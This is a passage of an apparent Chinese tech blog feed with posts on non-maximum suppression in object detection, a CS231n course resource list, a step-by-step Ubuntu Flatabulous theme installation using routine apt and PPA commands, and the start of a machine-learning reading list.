on</a></p></blockquote><p>以上方法，同一物体可能有多个预测值。<br>可用NMS(Non-maximum suppression，非极大值抑制)来去重。</p><p><img src="NMS.png" alt=""></p><p>如上图所示，一共有6个识别为人的框，每一个框有一个置信率。<br>现在需要消除多余的:</p><ul><li>按置信率排序: 0.95，0.9，0.9，0.8，0.7，0.7；</li><li>取最大0.95的框为一个物体框；</li><li>剩余5个框中，去掉与0.95框重叠率大于0.6(可以另行设置)，则保留0.9，0.8，0.7三个框；</li><li>重复上面的步骤，直到没有框了，0.9为一个框；</li><li>选出来的为: 0.95，0.9。</li></ul><p>两个矩形的重叠率计算方式如下:</p><p><img src="NMS_2.png" alt="非最大抑制（NMS）"></p><p>补充阅读：</p><ul><li><a href="http://blog.csdn.net/shuzfan/article/details/52711706" target="_blank" rel="external">NMS — 非极大值抑制</a></li><li><a href="http://blog.csdn.net/pb09013037/article/details/45621757" target="_blank" rel="external">非最大抑制（NMS）</a></li><li><a href="http://blog.163.com/yuyang_tech/blog/static/2160500832016026444987/" target="_blank" rel="external">非极大值抑制（Non-maximum suppression）</a></li><li><a href="http://blog.csdn.net/pb09013037/article/details/45477591" target="_blank" rel="external">非极大值抑制（Non-maximum suppression）在物体检测领域的应用</a></li></ul><h2 id="11-xywh-VS-xyxy"><a href="#11-xywh-VS-xyxy" class="headerlink" title="11. xywh VS xyxy"></a>11. xywh VS xyxy</h2><p>系列论文中，位置都用 (x,y,w,h)来表示，没有用左上角、右下角 (x,y,x,y) 来表示。<br>初衷是当 (w,h)正确时，(x,y) 一点错，会导致整个框就不准了。<br>在初步的实际实验中，(x,y,x,y) 效果要差一些。</p><p>背后的逻辑，物体位置用 (x,y,w,h) 来学习比较容易。<br>(x,y) 只需要位置相关的加权就能计算出来；<br>(w,h) 就更简单了，直接特征值相加即可。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="http://www.cnblogs.com/venus024/p/5590044.html" target="_blank" rel="external">深度学习检测方法梳理</a></li><li><a href="https://zhuanlan.zhihu.com/p/25600546" target="_blank" rel="external">RCNN-&gt; SPP net -&gt; Fast RCNN -&gt; Faster RCNN</a></li><li><a href="http://blog.csdn.net/j_study/article/details/51188704" target="_blank" rel="external">深度学习进行目标识别的资源列表</a></li><li><a href="http://blog.csdn.net/u012759136/article/details/52434826#t9" target="_blank" rel="external">图像语义分割之FCN和CRF</a></li><li><a href="https://handong1587.github.io/deep_learning/2015/10/09/object-detection.html" target="_blank" rel="external">Object Detection</a></li><li><a href="http://www.cosmosshadow.com/ml/%E5%BA%94%E7%94%A8/2015/12/07/%E7%89%A9%E4%BD%93%E6%A3%80%E6%B5%8B.html" target="_blank" rel="external">Detection</a></li><li><a href="http://www.jianshu.com/p/067f6a989d31" target="_blank" rel="external">[Detection] CNN 之 “物体检测” 篇</a></li><li><a href="http://www.jianshu.com/p/db1b74770e52" target="_blank" rel="external">[译] 基于R-FCN的物体检测 (zhwhong)</a></li></ul><hr><p>(本文部分转载自：<a href="http://www.cnblogs.com/venus024/p/5590044.html" target="_blank" rel="external">深度学习检测方法梳理</a>，原作者venus024，但是额外补充了一些其他相关内容，仅供学习交流使用，不得用于商业途径，转载请联系作者并注明出处，谢谢。)</p>]]></content>
    
    <summary type="html">
    
      本文主要关于物体检测模型梳理 RCNN，SPP-Net，Fast RCNN，Faster RCNN，R-FCN，YOLO，YOLO2，SSD，NMS等
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="Object Detection" scheme="http://zhwhong.cn/tags/Object-Detection/"/>
    
  </entry>
  
  <entry>
    <title>[斯坦福CS231n课程整理] Convolutional Neural Networks for Visual Recognition(附翻译，作业)</title>
    <link href="http://zhwhong.cn/2017/02/24/Convolutional-Neural-Networks-for-Visual-Recognition-CS231n/"/>
    <id>http://zhwhong.cn/2017/02/24/Convolutional-Neural-Networks-for-Visual-Recognition-CS231n/</id>
    <published>2017-02-24T09:27:52.000Z</published>
    <updated>2017-03-24T13:25:11.791Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><blockquote><h1 id="CS231n课程：面向视觉识别的卷积神经网络"><a href="#CS231n课程：面向视觉识别的卷积神经网络" class="headerlink" title="CS231n课程：面向视觉识别的卷积神经网络"></a>CS231n课程：面向视觉识别的卷积神经网络</h1></blockquote><ul><li>课程官网：<a href="http://cs231n.stanford.edu/" target="_blank" rel="external">CS231n: Convolutional Neural Networks for Visual Recognition</a></li><li>Github：<a href="https://github.com/cs231n/cs231n.github.io" target="_blank" rel="external">https://github.com/cs231n/cs231n.github.io</a> | <a href="http://cs231n.github.io/" target="_blank" rel="external">http://cs231n.github.io/</a></li><li>教学安排及大纲：<a href="http://vision.stanford.edu/teaching/cs231n/syllabus.html" target="_blank" rel="external">Schedule and Syllabus</a></li><li>课程视频：Youtube上查看<a href="https://link.zhihu.com/?target=https%3A//www.youtube.com/channel/UCPk8m_r6fkUSYmvgCBwq-sw" target="_blank" rel="external">Andrej Karpathy</a>创建的<a href="https://link.zhihu.com/?target=https%3A//www.youtube.com/playlist%3Flist%3DPLkt2uSq6rBVctENoVBg1TpCC7OQi31AlC" target="_blank" rel="external">播放列表</a>，或者<a href="http://study.163.com/course/introduction/1003223001.htm#/courseDetail" target="_blank" rel="external">网易云课堂</a></li><li>课程pdf及视频下载：<a href="https://pan.baidu.com/s/1eRHH4L8" target="_blank" rel="external">百度网盘下载</a>，密码是4efx</li></ul><a id="more"></a><p><img src="http://upload-images.jianshu.io/upload_images/145616-a0eeadfcd667b7bb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><blockquote><h1 id="授课-Stanford-Vision-Lab"><a href="#授课-Stanford-Vision-Lab" class="headerlink" title="授课 (Stanford Vision Lab)"></a>授课 (<a href="http://vision.stanford.edu/index.html" target="_blank" rel="external">Stanford Vision Lab</a>)</h1></blockquote><ul><li><a href="http://vision.stanford.edu/feifeili/" target="_blank" rel="external">Fei-Fei Li</a> (Associate Professor, Stanford University)</li><li><a href="http://cs.stanford.edu/people/karpathy/" target="_blank" rel="external">Andrej Karpathy</a> | <a href="https://github.com/karpathy" target="_blank" rel="external">Github</a> | <a href="http://karpathy.github.io/" target="_blank" rel="external">Blog</a> | <a href="https://twitter.com/karpathy" target="_blank" rel="external">Twitter</a></li><li><a href="http://cs.stanford.edu/people/jcjohns/" target="_blank" rel="external">Justin Johnson</a> | <a href="https://github.com/jcjohnson" target="_blank" rel="external">Github</a></li></ul><p><img src="http://upload-images.jianshu.io/upload_images/145616-df9eb2f6ea9512fb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="Course Instructors and Teaching Assistants"></p><blockquote><h1 id="课程原文-amp-作业-amp-中文翻译笔记"><a href="#课程原文-amp-作业-amp-中文翻译笔记" class="headerlink" title="课程原文 &amp; 作业 &amp; 中文翻译笔记"></a>课程原文 &amp; 作业 &amp; 中文翻译笔记</h1><ul><li>知乎专栏：<a href="https://zhuanlan.zhihu.com/intelligentunit" target="_blank" rel="external"><strong>智能单元</strong></a></li><li>作者：<a href="https://www.zhihu.com/people/du-ke/answers" target="_blank" rel="external"><strong>杜客</strong></a> (在此对作者表示特别感谢！)</li></ul></blockquote><p><img src="http://upload-images.jianshu.io/upload_images/145616-3b415a85af702e04.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="翻译得到Karpathy许可"></p><ul><li><a href="https://zhuanlan.zhihu.com/p/21930884?refer=intelligentunit" target="_blank" rel="external">贺完结！CS231n官方笔记授权翻译总集篇发布</a></li><li><a href="https://zhuanlan.zhihu.com/p/20870307?refer=intelligentunit" target="_blank" rel="external">获得授权翻译斯坦福CS231n课程笔记系列</a></li><li><a href="https://zhuanlan.zhihu.com/p/20878530?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：Python Numpy教程</a> | <a href="http://cs231n.github.io/python-numpy-tutorial/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/20894041?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：图像分类笔记（上）</a> | <a href="http://cs231n.github.io/classification/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/20900216?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：图像分类笔记（下）</a></li><li><a href="https://zhuanlan.zhihu.com/p/20918580?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：线性分类笔记（上）</a> | <a href="http://cs231n.github.io/linear-classify/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/20945670?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：线性分类笔记（中）</a></li><li><a href="https://zhuanlan.zhihu.com/p/21102293?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：线性分类笔记（下）</a></li><li><a href="https://zhuanlan.zhihu.com/p/21354230?refer=intelligentunit" target="_blank" rel="external">知友智靖远关于CS231n课程字幕翻译的倡议 </a></li><li><a href="https://zhuanlan.zhihu.com/p/21360434?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：最优化笔记（上）</a> | <a href="http://cs231n.github.io/optimization-1/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21387326?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：最优化笔记（下）</a></li><li><a href="https://zhuanlan.zhihu.com/p/21407711?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：反向传播笔记 </a> | <a href="http://cs231n.github.io/optimization-2/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21441838?refer=intelligentunit" target="_blank" rel="external">斯坦福CS231n课程作业 # 1 简介 </a> | <a href="http://cs231n.github.io/assignments2016/assignment1/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21462488?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：神经网络笔记 1（上）</a> | <a href="http://cs231n.github.io/neural-networks-1/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21513367?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：神经网络笔记 1（下）</a></li><li><a href="https://zhuanlan.zhihu.com/p/21560667?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：神经网络笔记 2 </a> | <a href="http://cs231n.github.io/neural-networks-2/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21741716?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：神经网络笔记 3（上）</a> | <a href="http://cs231n.github.io/neural-networks-3/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21798784?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：神经网络笔记 3（下）</a></li><li><a href="https://zhuanlan.zhihu.com/p/21941485?refer=intelligentunit" target="_blank" rel="external">斯坦福CS231n课程作业 # 2 简介 </a> | <a href="http://cs231n.github.io/assignments2016/assignment2/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/22038289?refer=intelligentunit" target="_blank" rel="external">CS231n课程笔记翻译：卷积神经网络笔记 </a> | <a href="http://cs231n.github.io/convolutional-networks/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/21946525?refer=intelligentunit" target="_blank" rel="external">斯坦福CS231n课程作业 # 3 简介 </a> | <a href="http://cs231n.github.io/assignments2016/assignment3/" target="_blank" rel="external">课程原文</a></li><li><a href="https://zhuanlan.zhihu.com/p/22282421?refer=intelligentunit" target="_blank" rel="external">Andrej Karpathy的回信和Quora活动邀请</a></li><li><a href="https://zhuanlan.zhihu.com/p/22232836?refer=intelligentunit" target="_blank" rel="external">知行合一码作业，深度学习真入门 </a></li></ul><p><strong>【附录 - Assignment】：</strong></p><ul><li>[简书] <a href="http://www.jianshu.com/p/004c99623104" target="_blank" rel="external">CS231n (winter 2016) : Assignment1</a></li><li>[简书] <a href="http://www.jianshu.com/p/9c4396653324" target="_blank" rel="external">CS231n (winter 2016) : Assignment2</a></li><li>[简书] <a href="http://www.jianshu.com/p/e46b1aa48886" target="_blank" rel="external">CS231n (winter 2016) : Assignment3（更新中）</a></li><li>[Github] CS231n作业<a href="https://github.com/MyHumbleSelf/cs231n" target="_blank" rel="external"> 参考1</a> | <a href="https://github.com/dengfy/cs231n" target="_blank" rel="external">参考2</a> ……</li></ul><hr><p>(再次感谢<a href="https://zhuanlan.zhihu.com/intelligentunit" target="_blank" rel="external">智能单元-知乎专栏</a>，以及知乎作者<a href="https://www.zhihu.com/people/du-ke/answers" target="_blank" rel="external">@杜客</a>和相关朋友<a href="https://www.zhihu.com/people/584f06e4ed2edc6007e4793179e7cdc1" target="_blank" rel="external">@ShiqingFan</a>，<a href="https://www.zhihu.com/people/hmonkey" target="_blank" rel="external">@猴子</a>，<a href="https://www.zhihu.com/people/e7fcc05b0cf8a90a3e676d0206f888c9" target="_blank" rel="external">@堃堃</a>，<a href="https://www.zhihu.com/people/f11e78650e8185db2b013af42fd9a481" target="_blank" rel="external">@李艺颖</a>等为CS231n课程翻译工作做出的贡献，辛苦了！)</p><hr><p><strong>其他课程整理：</strong></p><ul><li><a href="http://www.jianshu.com/p/062d2bbbef93" target="_blank" rel="external">[斯坦福CS224d课程整理] Natural Language Processing with Deep Learning</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/0a6ef31ff77a" target="_blank" rel="external">[斯坦福CS229课程整理] Machine Learning Autumn 2016</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/c68d0df13e0b" target="_blank" rel="external">[coursera 机器学习课程] Machine Learning by Andrew Ng</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;h1 id=&quot;CS231n课程：面向视觉识别的卷积神经网络&quot;&gt;&lt;a href=&quot;#CS231n课程：面向视觉识别的卷积神经网络&quot; class=&quot;headerlink&quot; title=&quot;CS231n课程：面向视觉识别的卷积神经网络&quot;&gt;&lt;/a&gt;CS231n课程：面向视觉识别的卷积神经网络&lt;/h1&gt;&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;课程官网：&lt;a href=&quot;http://cs231n.stanford.edu/&quot;&gt;CS231n: Convolutional Neural Networks for Visual Recognition&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Github：&lt;a href=&quot;https://github.com/cs231n/cs231n.github.io&quot;&gt;https://github.com/cs231n/cs231n.github.io&lt;/a&gt; | &lt;a href=&quot;http://cs231n.github.io/&quot;&gt;http://cs231n.github.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;教学安排及大纲：&lt;a href=&quot;http://vision.stanford.edu/teaching/cs231n/syllabus.html&quot;&gt;Schedule and Syllabus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;课程视频：Youtube上查看&lt;a href=&quot;https://link.zhihu.com/?target=https%3A//www.youtube.com/channel/UCPk8m_r6fkUSYmvgCBwq-sw&quot;&gt;Andrej Karpathy&lt;/a&gt;创建的&lt;a href=&quot;https://link.zhihu.com/?target=https%3A//www.youtube.com/playlist%3Flist%3DPLkt2uSq6rBVctENoVBg1TpCC7OQi31AlC&quot;&gt;播放列表&lt;/a&gt;，或者&lt;a href=&quot;http://study.163.com/course/introduction/1003223001.htm#/courseDetail&quot;&gt;网易云课堂&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;课程pdf及视频下载：&lt;a href=&quot;https://pan.baidu.com/s/1eRHH4L8&quot;&gt;百度网盘下载&lt;/a&gt;，密码是4efx&lt;/li&gt;
&lt;/ul&gt;
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="CNN" scheme="http://zhwhong.cn/tags/CNN/"/>
    
      <category term="Computer Vision" scheme="http://zhwhong.cn/tags/Computer-Vision/"/>
    
  </entry>
  
  <entry>
    <title>[Linux] Ubuntu下超好看扁平主题 : Flatabulous</title>
    <link href="http://zhwhong.cn/2017/02/24/Linux-Ubuntu_Flatabulous/"/>
    <id>http://zhwhong.cn/2017/02/24/Linux-Ubuntu_Flatabulous/</id>
    <published>2017-02-24T08:12:16.000Z</published>
    <updated>2017-03-24T16:24:30.647Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p><img src="http://upload-images.jianshu.io/upload_images/145616-909d61913233d890.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="Flatabulous"></p><a id="more"></a><p>使用ubuntu的小伙伴们，不知道你们对ubuntu自带主题有什么看法，反正我个人不太喜欢，个人比较喜欢扁平化的风格。<br>下面给大家推荐一个我长期使用的扁平化风格的主题－<a href="https://github.com/anmoljagetia/Flatabulous" target="_blank" rel="external">Flatabulous</a> 。<br>先看一下我的桌面(个人比较偏向单色调，不要在意这些细节啦)：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-1564d71f915f7cef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="My Desktop"></p><p>那么<strong>Flatabulous</strong>到底是什么呢？<br>　　“This is a Flat theme for Ubuntu and other debian based Linux Systems. This is based on the Ultra-Flat theme. Special thanks to @steftrikia and Satyajit Sahoo for the original work.”<br>哈哈，不卖关子了，它其实就是一个超级好看的扁平化Ubuntu主题。</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-e639fe182b0b743b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>下面就开始说说怎么安装它吧~</p><h2 id="安装"><a href="#安装" class="headerlink" title="[ 安装 ]"></a>[ 安装 ]</h2><h3 id="Step-1-安装-Unity-Tweak-Tool"><a href="#Step-1-安装-Unity-Tweak-Tool" class="headerlink" title="Step 1　安装 Unity Tweak Tool"></a>Step 1　安装 Unity Tweak Tool</h3><p>要安装这个主题，首先要安装<a href="https://launchpad.net/unity-tweak-tool" target="_blank" rel="external">Unity Tweak Tool</a>或者<a href="https://github.com/tualatrix/ubuntu-tweak" target="_blank" rel="external">Ubuntu Tweak Tool</a>。</p><p>安装Unity Tweak Tool可以很简单地执行如下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ sudo apt-get install unity-tweak-tool</div></pre></td></tr></table></figure><p>安装Ubuntu Tweak Tool可以使用如下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ sudo add-apt-repository ppa:tualatrix/ppa  </div><div class="line">$ sudo apt-get update</div><div class="line">$ sudo apt-get install ubuntu-tweak</div></pre></td></tr></table></figure><p>或者跑到它们的网站下载.deb文件(推荐)，打开Ubuntu软件中心安装或者使用命令<code>dpkg -i</code>(推荐)安装。</p><p>注：If you are on Ubuntu 16.04 or higher, run the commands below to install Ubuntu Tweak:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">$ wget -q -O - http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -</div><div class="line">$ sudo sh -c <span class="string">'echo "deb http://archive.getdeb.net/ubuntu xenial-getdeb apps" &gt;&gt; /etc/apt/sources.list.d/getdeb.list'</span></div><div class="line">$ sudo apt-get update</div><div class="line">$ sudo apt-get install ubuntu-tweak</div></pre></td></tr></table></figure><p>安装完毕后，我们可以就搜到Ubuntu Tweak这款软件了，如下图：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-c073230df8a73b8b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h3 id="Step-2-安装Flatabulous主题"><a href="#Step-2-安装Flatabulous主题" class="headerlink" title="Step 2　安装Flatabulous主题"></a>Step 2　安装Flatabulous主题</h3><h4 id="方式1：Using-the-deb-file-for-Debian-Ubuntu-and-derivatives-Recommended"><a href="#方式1：Using-the-deb-file-for-Debian-Ubuntu-and-derivatives-Recommended" class="headerlink" title="方式1：Using the .deb file for Debian, Ubuntu and derivatives (Recommended)"></a>方式1：Using the .deb file for Debian, Ubuntu and derivatives (Recommended)</h4><p>下载.deb文件，点击<a href="https://github.com/anmoljagetia/Flatabulous/releases" target="_blank" rel="external">这里</a>，下载后，打开Ubuntu软件中心或者使用命令<code>dpkg -i</code>（推荐）安装。</p><h4 id="方式2：Using-the-noobslab-PPA"><a href="#方式2：Using-the-noobslab-PPA" class="headerlink" title="方式2：Using the noobslab PPA"></a>方式2：Using the noobslab PPA</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ sudo add-apt-repository ppa:noobslab/themes</div><div class="line">$ sudo apt-get update</div><div class="line">$ sudo apt-get install flatabulous-theme</div></pre></td></tr></table></figure><h4 id="方式3：下载Flatabulous源码"><a href="#方式3：下载Flatabulous源码" class="headerlink" title="方式3：下载Flatabulous源码"></a>方式3：下载Flatabulous源码</h4><p>下载主题源码，点击<a href="https://github.com/anmoljagetia/Flatabulous/archive/master.zip" target="_blank" rel="external">这里</a>，或者使用git克隆下来，Github仓库地址： <a href="https://github.com/anmoljagetia/Flatabulous" target="_blank" rel="external">https://github.com/anmoljagetia/Flatabulous</a><br>如果下载的是zip文件，先将其解压，然后移动到/usr/share/themes/下。如果是git clone下来的，直接执行下如下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ sudo mv Flatabulous /usr/share/themes/</div></pre></td></tr></table></figure><h3 id="Step-3-Tweak配置"><a href="#Step-3-Tweak配置" class="headerlink" title="Step 3　Tweak配置"></a>Step 3　Tweak配置</h3><p>我们打开Ubuntu Tweak，选择<strong>调整-&gt;主题</strong>，如下：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-c937f438f034d8bd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>然后，配置GTK主题和窗口主题，选择Flatabulous，如下：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-1e90b53fc9d14f68.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>你们可以模仿我的配置，不过此时还有一个问题，就是你发现图标主题没有<code>Ultra-Flat</code>选项，这个<code>icon</code>需要额外下载，原生的<code>Tweak</code>里面并没有。</p><p>对于图标，我使用的是ultra-flat-icons主题。有蓝色（推荐），橙色和薄荷绿颜色可用。要安装它，你可以运行下面的命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ sudo add-apt-repository ppa:noobslab/icons</div><div class="line">$ sudo apt-get update</div><div class="line">$ sudo apt-get install ultra-flat-icons</div></pre></td></tr></table></figure><p>或者你也可以运行<code>sudo apt-get install ultra-flat-icons-orange</code>或者 <code>sudo apt-get install ultra-flat-icons-green</code>。<br>根据你自己喜欢的颜色选择，我推荐的是扁平图标，但是你也可以看看<strong>Numix</strong>和<strong>Flattr</strong>。</p><p>图标安装好后，再打开Ubuntu Tweak，选择 <code>调整-&gt;主题</code>，选择图标主题为<code>Ultra-Flat</code>。</p><p>安装完以后，只需要在theme进行相应的配置，然后换一个自己喜欢的桌面壁纸，我们就能看到超级好看的ubuntu啦。如果不行，重启计算机，应该就可以了。重启之后你的计算机看起来差不多是这样的：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-a9408b3132214304.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扁平化图标"></p><h2 id="部分效果图截图"><a href="#部分效果图截图" class="headerlink" title="[ 部分效果图截图 ]"></a>[ 部分效果图截图 ]</h2><h3 id="文件管理"><a href="#文件管理" class="headerlink" title="文件管理"></a>文件管理</h3><p><img src="http://upload-images.jianshu.io/upload_images/145616-63d8986b44433f99.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h3 id="Theme-with-Sublime-Text-3-and-JavaScript-Code"><a href="#Theme-with-Sublime-Text-3-and-JavaScript-Code" class="headerlink" title="Theme with Sublime Text 3 and JavaScript Code"></a>Theme with Sublime Text 3 and JavaScript Code</h3><p><img src="http://upload-images.jianshu.io/upload_images/145616-ac6eca94b5b50a2e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h3 id="系统设置"><a href="#系统设置" class="headerlink" title="系统设置"></a>系统设置</h3><p><img src="http://upload-images.jianshu.io/upload_images/145616-b0e714419dcd6433.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h3 id="Posters"><a href="#Posters" class="headerlink" title="Posters"></a>Posters</h3><p><img src="http://upload-images.jianshu.io/upload_images/145616-9c99a2b56e70c30f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-0e6a006a57adb9d3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h3 id="Terminal"><a href="#Terminal" class="headerlink" title="Terminal"></a>Terminal</h3><p><img src="http://upload-images.jianshu.io/upload_images/145616-421d8c2880c84c62.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="[ Reference ]"></a>[ Reference ]</h2><ul><li><a href="http://www.xulukun.cn/flatabulous-ubuntu.html" target="_blank" rel="external">Flatabulous：超级好看的Ubuntu 扁平主题</a></li><li><a href="https://github.com/anmoljagetia/Flatabulous" target="_blank" rel="external">Github -&gt; Flatabulous</a></li></ul><p>(转载请注明原作者及出处, 谢谢！)</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/145616-909d61913233d890.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;Flatabulous&quot;&gt;&lt;/p&gt;
    
    </summary>
    
      <category term="Linux" scheme="http://zhwhong.cn/categories/Linux/"/>
    
    
      <category term="Ubuntu" scheme="http://zhwhong.cn/tags/Ubuntu/"/>
    
      <category term="Theme" scheme="http://zhwhong.cn/tags/Theme/"/>
    
  </entry>
  
  <entry>
    <title>Machine Learning Materials</title>
    <link href="http://zhwhong.cn/2017/02/23/Machine-Learning-Materials/"/>
    <id>http://zhwhong.cn/2017/02/23/Machine-Learning-Materials/</id>
    <published>2017-02-23T08:57:14.000Z</published>
    <updated>2017-03-25T07:43:23.111Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p><img src="machine_learning_materials.png" alt="Machine Learning"></p><hr><h2 id="Awesome系列"><a href="#Awesome系列" class="headerlink" title="Awesome系列　"></a>Awesome系列　</h2><ul><li><a href="https://github.com/josephmisiti/awesome-machine-learning" target="_blank" rel="external"><strong>Awesome Machine Learning</strong></a></li><li><a href="https://github.com/ChristosChristofidis/awesome-deep-learning" target="_blank" rel="external"><strong>Awesome Deep Learning</strong></a></li><li><a href="https://github.com/jtoy/awesome-tensorflow" target="_blank" rel="external"><strong>Awesome TensorFlow</strong></a></li><li><a href="https://github.com/TensorFlowKR/awesome_tensorflow_implementations" target="_blank" rel="external">Awesome TensorFlow Implementations</a></li><li><a href="https://github.com/carpedm20/awesome-torch" target="_blank" rel="external">Awesome Torch</a></li><li><a href="https://github.com/jbhuang0604/awesome-computer-vision" target="_blank" rel="external">Awesome Computer Vision</a></li><li><a href="https://github.com/kjw0612/awesome-deep-vision" target="_blank" rel="external">Awesome Deep Vision</a></li><li><a href="https://github.com/kjw0612/awesome-rnn" target="_blank" rel="external">Awesome RNN</a></li><li><a href="https://github.com/keonkim/awesome-nlp" target="_blank" rel="external">Awesome NLP</a></li><li><a href="https://github.com/owainlewis/awesome-artificial-intelligence" target="_blank" rel="external">Awesome AI</a></li><li><a href="https://github.com/terryum/awesome-deep-learning-papers" target="_blank" rel="external">Awesome Deep Learning Papers</a></li><li><a href="https://github.com/MaxwellRebo/awesome-2vec" target="_blank" rel="external">Awesome 2vec</a></li></ul><h2 id="Deep-Learning"><a href="#Deep-Learning" class="headerlink" title="Deep Learning"></a>Deep Learning</h2><ul><li>[Book] <a href="http://neuralnetworksanddeeplearning.com/chap1.html" target="_blank" rel="external"><strong>Neural Networks and Deep Learning</strong></a> 中文翻译(不完整): <a href="https://www.gitbook.com/book/hit-scir/neural-networks-and-deep-learning-zh_cn/details" target="_blank" rel="external">神经网络与深度学习</a> 第五章中文翻译: <a href="http://www.jianshu.com/p/917f71b06499" target="_blank" rel="external">[译] 第五章 深度神经网络为何很难训练</a></li><li>[Book] <a href="http://www.deeplearningbook.org/" target="_blank" rel="external">Deep Learning - MIT Press</a></li><li>[Book] <a href="http://www.springer.com/gb/book/9780387310732" target="_blank" rel="external">Pattern Recognition and Machine Learning</a> (Bishop) | <a href="https://book.douban.com/subject/2061116/" target="_blank" rel="external">豆瓣</a> | <a href="http://nbviewer.jupyter.org/github/lijin-THU/notes-machine-learning/blob/master/ReadMe.ipynb" target="_blank" rel="external">PRML &amp; DL笔记</a> | <a 